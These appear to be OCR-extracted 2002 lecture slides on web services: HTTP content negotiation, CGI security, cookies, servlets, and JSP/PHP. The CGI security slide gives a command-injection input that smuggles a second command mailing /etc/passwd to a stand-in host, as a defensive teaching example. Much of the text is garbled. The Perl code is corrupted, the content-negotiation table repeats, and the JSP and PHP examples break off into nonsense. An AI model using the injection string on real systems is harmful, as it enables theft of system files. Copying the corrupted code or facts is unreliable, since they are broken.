


Content Type Negotiation


• Client sends list of media types acceptable for the response


Accept: text/*;q=0.3, text/html;q=0.7, text/html;level=1, text/html;level=2;q=0.4, */*;q=0.5


text/html;level=1 = 1 text/html = 0.7 text/html;level=3 = 0.7 text/html;level=3 = 0.7 text/html;level=2 = 0.5 text/html;level=2 = 0.5


text/html;level=2 = 0.5
text/html;level=2 = 0.5
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text/html;level=2 = 0.5
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text/html;level=3 = 0.

















































































































CGI Security (1/3)

THOUROUGHLY check CGI scripts for possible security holes

may leak information about the server system

scripts which process remote user input may be tricked to execute commands encoded in the user input

Do make assumptions on the size of the remote user input

CGI Security (2/3)

• NEVER pass unchecked remote user input to a shell command:

\$\paraller{\text{mail_to}} = &\text{get_address_from_input;} \\
open (MATL,"| /\text{usr/lib/sendmail} &\text{smail_to");} \\
print MAIL "To: \$\text{mailto}\nFrom: me\n\nHi there!\n"; \\
close MATL;

User input:

noone@fake.com;mail evil@hell.org</etc/passwd;

Results in:
.../sendmail noone@fake.com; mail evil@hell.org</etc/passwd

Check input and use sendmail -t!

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CGI Security (3/3)

• Do not use sh/csh/... for CGI scripts


• If you MUST use a shell (fork(), exec(), popen(), ...), ALWAYS scan the input for shell metacharacters (&; `\"|* ...) and remove them


• Invoke programs with full pathnames


• Use wrappers (cgiwrap, suEXEC, ...)


• Use existing packages (e.g., CGI.pm)


CGI vs. APIs • CGI • APIs (NSAPI, ISAPI) faster - simple - more functionality language independent isolated processes - complex open standard - language dependent - architecture independent - no process isolation single/multi-threaded applications run in the servers address space • single/multi-tier - proprietary - tied to server architecture € 2002, Manfred Hauswirth Network Services - Oct 22, 2002 - Lecture 2 48





















More about Cookies

Cookies can enhance or break privacy
- tracking vs. no user database
Cookies are kept in memory
Persistent cookies: cookies[.txt] file


netscape.com TRUE / FALSE 946684799 NETSCAPE ID 100103


creator (domain)
access for all require secure connection?




Servlets vs. CGI


Portable code
Useful features (sessions, cookies, ...)
Multi-threading
Faster
does not run as a separate process
stays in memory between requests
a single servlet instance answer request concurrently
Sandbox for servlets possible











```
JavaServer Pages

JSP = "Java-based ASP"

Dynamic scripting

JSP pages can contain

HTML/XML


Java scriplets

special tags

JSP engine required
```

```
SP example

<hreat style="font-size: serious content of the ser
```



```
PHP DB access example

<hr/>
<
```

```
Ahead

Advanced WWW Concepts

Caching

Search engines and directory services

HTML, XML, XSL, CSS, DOM

Output

Outpu
```